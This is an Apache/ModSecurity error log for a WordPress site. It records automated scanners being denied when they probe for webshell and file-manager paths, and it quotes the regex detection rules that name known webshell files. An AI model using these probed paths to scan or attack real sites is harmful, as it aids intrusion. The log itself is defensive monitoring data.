[Fri Feb 27 04:18:22.192707 2026] [:error] [pid 5365:tid 5368] [client 20.48.148.227:52169] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaCqjpYAa8J3tYxdG3zYlgAAAQE"]
[Fri Feb 27 04:18:23.148994 2026] [:error] [pid 21329:tid 21397] [client 20.48.148.227:52101] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaCqj5vQWnde-MjcQ1E3ngAAAU4"]
[Fri Feb 27 04:18:24.097572 2026] [:error] [pid 3973:tid 3994] [client 20.48.148.227:52200] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaCqkIJZsftwqmUaaLPoQgAAAAs"]
[Fri Feb 27 04:29:16.004195 2026] [proxy_fcgi:error] [pid 3974:tid 4046] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:16.296456 2026] [proxy_fcgi:error] [pid 3974:tid 4043] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:16.551450 2026] [proxy_fcgi:error] [pid 3974:tid 4057] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:16.813488 2026] [proxy_fcgi:error] [pid 3974:tid 4045] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:17.091634 2026] [proxy_fcgi:error] [pid 3974:tid 4041] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:17.380638 2026] [proxy_fcgi:error] [pid 3974:tid 4042] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:17.656632 2026] [proxy_fcgi:error] [pid 3974:tid 4041] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:17.891630 2026] [proxy_fcgi:error] [pid 3974:tid 4047] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:18.135579 2026] [proxy_fcgi:error] [pid 3974:tid 4052] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:18.393240 2026] [proxy_fcgi:error] [pid 3974:tid 4056] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:18.942584 2026] [proxy_fcgi:error] [pid 3974:tid 4058] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:19.222439 2026] [proxy_fcgi:error] [pid 3974:tid 4042] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:19.540445 2026] [proxy_fcgi:error] [pid 3974:tid 4046] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:28.131445 2026] [proxy_fcgi:error] [pid 3974:tid 4054] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:28.507469 2026] [proxy_fcgi:error] [pid 3974:tid 4042] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:28.880451 2026] [proxy_fcgi:error] [pid 3974:tid 4056] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:29.215294 2026] [proxy_fcgi:error] [pid 3974:tid 4043] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:29.476014 2026] [proxy_fcgi:error] [pid 3974:tid 4061] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:29.743443 2026] [proxy_fcgi:error] [pid 3974:tid 4046] [client 173.239.214.12:28953] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:33.749995 2026] [:error] [pid 3974:tid 4052] [client 173.239.214.12:28953] [client 173.239.214.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaCtLXp-fQtdOYjkuFvQpAAAAE8"]
[Fri Feb 27 04:29:35.121159 2026] [:error] [pid 5365:tid 5375] [client 173.239.214.198:49881] [client 173.239.214.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaCtL5YAa8J3tYxdG3z1NwAAAQg"]
[Fri Feb 27 04:29:37.053531 2026] [proxy_fcgi:error] [pid 4081:tid 4101] [client 173.239.214.28:55635] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:37.968881 2026] [:error] [pid 4081:tid 4101] [client 173.239.214.28:55635] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaCtMQ55mnr35z8h7t3TrwAAANI"]
[Fri Feb 27 04:29:38.785483 2026] [proxy_fcgi:error] [pid 5365:tid 5378] [client 173.239.214.24:31815] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:39.060196 2026] [proxy_fcgi:error] [pid 5365:tid 5372] [client 173.239.214.24:31815] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:39.334629 2026] [:error] [pid 5365:tid 5380] [client 173.239.214.24:31815] [client 173.239.214.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaCtM5YAa8J3tYxdG3z1vAAAAQ0"]
[Fri Feb 27 04:29:40.123678 2026] [proxy_fcgi:error] [pid 3974:tid 4061] [client 209.87.169.175:26547] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:41.460297 2026] [:error] [pid 3974:tid 4035] [client 209.87.169.175:26547] [client 209.87.169.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaCtNXp-fQtdOYjkuFvRIQAAAEE"]
[Fri Feb 27 04:29:42.282917 2026] [:error] [pid 3974:tid 4048] [client 185.198.240.143:55635] [client 185.198.240.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaCtNnp-fQtdOYjkuFvRMgAAAEs"]
[Fri Feb 27 04:29:42.826657 2026] [:error] [pid 5365:tid 5384] [client 185.198.240.136:24011] [client 185.198.240.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaCtNpYAa8J3tYxdG3z2OgAAARE"]
[Fri Feb 27 04:29:43.325340 2026] [:error] [pid 3975:tid 4029] [client 185.198.240.136:60387] [client 185.198.240.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaCtNxMVp0-T2hD76b20fwAAAJM"]
[Fri Feb 27 04:29:43.829451 2026] [:error] [pid 21329:tid 21398] [client 185.198.240.143:25367] [client 185.198.240.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaCtN5vQWnde-MjcQ1FIyAAAAU8"]
[Fri Feb 27 04:29:44.318321 2026] [:error] [pid 5365:tid 5380] [client 185.198.240.157:44555] [client 185.198.240.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaCtOJYAa8J3tYxdG3z2dAAAAQ0"]
[Fri Feb 27 04:29:45.100034 2026] [:error] [pid 3974:tid 4061] [client 185.198.240.136:53217] [client 185.198.240.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaCtOXp-fQtdOYjkuFvRcwAAAFg"]
[Fri Feb 27 04:29:45.600468 2026] [proxy_fcgi:error] [pid 5365:tid 5388] [client 173.239.214.16:21063] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:46.128099 2026] [:error] [pid 5365:tid 5369] [client 173.239.214.16:21063] [client 173.239.214.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aaCtOpYAa8J3tYxdG3z2tQAAAQI"]
[Fri Feb 27 04:29:46.645457 2026] [proxy_fcgi:error] [pid 5365:tid 5382] [client 209.87.169.175:23671] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:46.911622 2026] [proxy_fcgi:error] [pid 5365:tid 5373] [client 209.87.169.175:23671] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:47.184861 2026] [:error] [pid 5365:tid 5390] [client 209.87.169.175:23671] [client 209.87.169.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaCtO5YAa8J3tYxdG3z28wAAARc"]
[Fri Feb 27 04:29:48.238369 2026] [:error] [pid 3973:tid 3990] [client 185.198.240.140:54295] [client 185.198.240.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaCtPIJZsftwqmUaaLPxlQAAAAc"]
[Fri Feb 27 04:29:48.779952 2026] [proxy_fcgi:error] [pid 5365:tid 5385] [client 173.239.214.15:36011] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:49.327304 2026] [:error] [pid 5365:tid 5391] [client 173.239.214.15:36011] [client 173.239.214.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaCtPZYAa8J3tYxdG3z3XgAAARg"]
[Fri Feb 27 04:29:49.888451 2026] [proxy_fcgi:error] [pid 21329:tid 21391] [client 173.239.214.4:23147] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:50.676441 2026] [proxy_fcgi:error] [pid 21329:tid 21404] [client 173.239.214.4:23147] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:51.462791 2026] [:error] [pid 21329:tid 21403] [client 173.239.214.4:23147] [client 173.239.214.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaCtP5vQWnde-MjcQ1FJcAAAAVQ"]
[Fri Feb 27 04:29:51.998479 2026] [proxy_fcgi:error] [pid 21329:tid 21388] [client 185.198.240.151:46969] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:52.241266 2026] [:error] [pid 21329:tid 21399] [client 185.198.240.151:46969] [client 185.198.240.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaCtQJvQWnde-MjcQ1FJggAAAVA"]
[Fri Feb 27 04:29:52.768465 2026] [proxy_fcgi:error] [pid 5365:tid 5373] [client 185.198.240.156:52587] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:53.315362 2026] [:error] [pid 5365:tid 5371] [client 185.198.240.156:52587] [client 185.198.240.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaCtQZYAa8J3tYxdG3z4DQAAAQQ"]
[Fri Feb 27 04:29:54.087302 2026] [:error] [pid 5365:tid 5373] [client 173.239.214.9:38829] [client 173.239.214.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaCtQpYAa8J3tYxdG3z4KQAAAQY"]
[Fri Feb 27 04:29:54.872460 2026] [proxy_fcgi:error] [pid 5365:tid 5374] [client 185.198.240.139:29721] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:55.531200 2026] [proxy_fcgi:error] [pid 21329:tid 21391] [client 173.239.214.4:20125] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:29:56.167712 2026] [:error] [pid 21329:tid 21402] [client 173.239.214.4:20125] [client 173.239.214.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaCtRJvQWnde-MjcQ1FJ8gAAAVM"]
[Fri Feb 27 04:29:57.011998 2026] [:error] [pid 4081:tid 4098] [client 173.239.214.198:37023] [client 173.239.214.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaCtRQ55mnr35z8h7t3U6wAAAM8"]
[Fri Feb 27 04:29:57.840825 2026] [:error] [pid 5365:tid 5377] [client 185.198.240.154:51535] [client 185.198.240.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaCtRZYAa8J3tYxdG3z4eAAAAQo"]
[Fri Feb 27 04:29:58.408240 2026] [:error] [pid 3973:tid 3983] [client 185.198.240.151:57209] [client 185.198.240.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaCtRoJZsftwqmUaaLPyDAAAAAA"]
[Fri Feb 27 04:29:58.981338 2026] [:error] [pid 21329:tid 21387] [client 185.198.240.135:47971] [client 185.198.240.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaCtRpvQWnde-MjcQ1FKQwAAAUQ"]
[Fri Feb 27 04:30:00.223494 2026] [proxy_fcgi:error] [pid 3975:tid 4013] [client 185.198.240.135:42385] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:00.542183 2026] [:error] [pid 3975:tid 4018] [client 185.198.240.135:42385] [client 185.198.240.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaCtSBMVp0-T2hD76b21lwAAAIg"]
[Fri Feb 27 04:30:01.142335 2026] [:error] [pid 4081:tid 4089] [client 185.198.240.139:26283] [client 185.198.240.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaCtSQ55mnr35z8h7t3VMgAAAMY"]
[Fri Feb 27 04:30:01.694216 2026] [:error] [pid 21329:tid 21395] [client 173.239.214.28:49257] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaCtSZvQWnde-MjcQ1FKlwAAAUw"]
[Fri Feb 27 04:30:03.205455 2026] [proxy_fcgi:error] [pid 4081:tid 4103] [client 185.198.240.147:54153] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:03.881454 2026] [proxy_fcgi:error] [pid 4081:tid 4100] [client 185.198.240.147:54153] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:04.210453 2026] [proxy_fcgi:error] [pid 4081:tid 4087] [client 185.198.240.147:54153] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:05.014898 2026] [:error] [pid 4081:tid 4095] [client 185.198.240.147:54153] [client 185.198.240.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaCtTQ55mnr35z8h7t3VhgAAAMw"]
[Fri Feb 27 04:30:06.463896 2026] [:error] [pid 21329:tid 21385] [client 173.239.214.28:64573] [client 173.239.214.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.28, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaCtTpvQWnde-MjcQ1FLGAAAAUI"]
[Fri Feb 27 04:30:06.749144 2026] [proxy_fcgi:error] [pid 21329:tid 21395] [client 173.239.214.28:64573] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:08.161464 2026] [proxy_fcgi:error] [pid 21329:tid 21400] [client 173.239.214.28:64573] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:08.418779 2026] [proxy_fcgi:error] [pid 21329:tid 21401] [client 173.239.214.28:64573] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:10.063326 2026] [:error] [pid 21329:tid 21389] [client 173.239.214.28:64573] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaCtUpvQWnde-MjcQ1FLbAAAAUY"]
[Fri Feb 27 04:30:10.864820 2026] [proxy_fcgi:error] [pid 5365:tid 5386] [client 173.239.214.12:37673] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:11.116952 2026] [:error] [pid 5365:tid 5372] [client 173.239.214.12:37673] [client 173.239.214.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.12, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaCtU5YAa8J3tYxdG3z5lQAAAQU"]
[Fri Feb 27 04:30:11.651876 2026] [:error] [pid 5365:tid 5376] [client 173.239.214.12:37673] [client 173.239.214.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaCtU5YAa8J3tYxdG3z5oQAAAQk"]
[Fri Feb 27 04:30:12.536585 2026] [proxy_fcgi:error] [pid 3975:tid 4036] [client 185.198.240.147:43751] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:12.865046 2026] [:error] [pid 3975:tid 4016] [client 185.198.240.147:43751] [client 185.198.240.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "aaCtVBMVp0-T2hD76b22vAAAAIY"]
[Fri Feb 27 04:30:14.393093 2026] [:error] [pid 4081:tid 4091] [client 173.239.214.5:52291] [client 173.239.214.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "aaCtVg55mnr35z8h7t3WFQAAAMg"]
[Fri Feb 27 04:30:15.414511 2026] [proxy_fcgi:error] [pid 3974:tid 4052] [client 173.239.214.13:59231] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:15.985449 2026] [proxy_fcgi:error] [pid 3974:tid 4054] [client 173.239.214.13:59231] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:16.557178 2026] [:error] [pid 3974:tid 4059] [client 173.239.214.13:59231] [client 173.239.214.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaCtWHp-fQtdOYjkuFvUcgAAAFY"]
[Fri Feb 27 04:30:17.165406 2026] [proxy_fcgi:error] [pid 5365:tid 5375] [client 173.239.214.12:65139] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:17.953455 2026] [proxy_fcgi:error] [pid 5365:tid 5369] [client 173.239.214.12:65139] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:18.543441 2026] [proxy_fcgi:error] [pid 5365:tid 5376] [client 173.239.214.12:65139] AH01071: Got error 'Primary script unknown'
